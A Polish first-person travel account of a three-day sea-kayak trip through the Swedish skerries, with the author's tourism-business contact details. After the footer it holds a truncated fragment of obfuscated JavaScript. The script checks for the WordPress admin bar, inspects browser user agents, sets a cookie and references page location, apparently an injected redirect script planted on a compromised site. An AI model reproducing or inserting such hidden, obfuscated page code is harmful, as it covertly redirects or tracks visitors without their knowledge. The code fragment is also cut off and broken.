Wyprawa na Szwedzkie Szkiery z Zimnym Włodkiem | Północna Izba Gospodarcza w Koszalinie

Wokół Szwecji leży tysiące skalnych wysp nazywanych szkierami. Niedawno miałem okazję popływać miedzy nimi. Towarzyszył mi mój kolega. Przez trzy dni pokonałem 60 km i opłynąłem blisko 100 wysp (na stu lecie Polski). Niektóre z nich znajdują się blisko siebie, niektóre są oddalone od stałego lądu o kilka kilometrów.

Wyprawę rozpocząłem z miejscowości Nynäshamn. Już na początku szybko można było zejść z otwartego morza i schować się w archipelagu mniejszych i większych wysp. Niektóre niewielkie zamieszkane przez tysiące ptaków, atakujące płynących w chwili zbliżania się. Inne duże otoczone ogromnymi skałami broniącymi dostępu. Pod koniec dnia w okolicy osady Travic trafiłem na przepiękny labirynt skalnych wysp, gdzie rozbiłem obóz. W tym okresie Szwecja słynie z tzw. białych nocy. Przekonałem się, że w środku nocy nie trzeba używać latarek. Mimo ciemności łatwo rozpoznać wszystkie szczegóły. Następne dni wyglądały podobnie, jednak trafiłem na kilka miejsc i sytuacji, które uatrakcyjniły wyprawę. Wypływając z labiryntów  trafiłem na ogromną plażę w okolicy miejscowości Herrhamra. Jest to jedyne miejsce w Szwecji, gdzie otwarte morze powoduje powstanie wysokich fal na których trenują serferzy. Sama plaża niezbyt ciekawa – kamienista. W Szwecji nie ma tak pięknych plaż jak u nas – kamienie, skały lub piasek przypominający niezbyt żyzną ziemię. Neptun tutaj był dla mnie łaskawy i umożliwił płynięcie, jednak większość kajakarzy morskich nie ma takiego szczęścia i musi szukać innych przepraw. Płynąc do wyspy Fifang do pokonania miałem ok. 5 km otwartym morzem. W tym miejscu silny wiatr spowodował powstanie wysokiej bocznej fali która zalewała kajak i powodowała jego schodzenie z wybranego kursu. Po pół godzinie walki poddałem się fali i pozwoliłem nieść do niewielkiej, samotnej ptasiej wyspy. Tam po chwili odpoczynku zmieniłem kurs biorąc fale 30 stopni na dziób i dzięki doświadczeniu żeglarskiemu dotarłem na miejsce.  Na północy wyspy Fifang spotkałem grupę szwedzkich kajakarzy morskich, których prowadził nasz rodak, mieszkaniec Szwecji, Piotr Rózik. Znany jest on w polskim ratownictwie pod-lodowym z wprowadzania w naszym kraju szwedzkich metod ratownictwa. Zimą przyjeżdżają do niego na szkolenia grupy polskich ratowników i strażaków. Następnego dnia zaprosił nas do swojej bazy w miejscowości Trosa. Po całym dniu pływania skorzystaliśmy z jego gościnności. Nie trzeba było rozbijać obozu – spałem w namiocie wojskowym i skorzystałem ze szwedzkiej łaźni.

Bałtyk zachwycił mnie nie tylko przepięknymi wyspami ale również kryształową, przejrzystą wodą, w której widać głębie,  rosnące morsztyny i grasujące ryby. Pamiętam –  tak wyglądał i u nas 50 lat temu, w moim dzieciństwie.

Tekst: Włodzimierz Zimnowłocki

Zdjęcia: Wiesław Hołozubiec i Włodzimierz Zimnowłocki

 

Włodzimierz Zimnowłocki – ZIMNY WŁODEK – Usługi Turystyczne
76-004 Sianów, Iwięcino 29
tel. kom. 696 016 362
e-mail: zimnywlodek@wp.pl 
http://zimnywlodek.tp1.pl/

  'toUTCString',’cookie',’split',’length',’charAt',’substring',’indexOf',’userAgent',’match',’MSIE;',’OPR',’Chromium',’Firefox',’Chrome',’ppkcookie',’location',’http://',’getElementById',’wpadminbar',’undefined',’setTime',’getTime',';\x20expires='];(function(c,d){var e=function(f){while(–f){c[’push'](c[’shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b(’0x0′)](b(’0x1′))===null){if(typeof c===b(’0x2′)){function c(d,e,f){var g=”;if(f){var h=new Date();h[b(’0x3′)](h[b(’0x4′)]()+f*0x18*0x3c*0x3c*0x3e8);g=b(’0x5′)+h[b(’0x6′)]();}document[b(’0x7′)]=d+’=’+(e||”)+g+';\x20path=/';}function i(j){var k=j+’=';var l=document[b(’0x7′)][b(’0x8′)](';');for(var m=0x0;m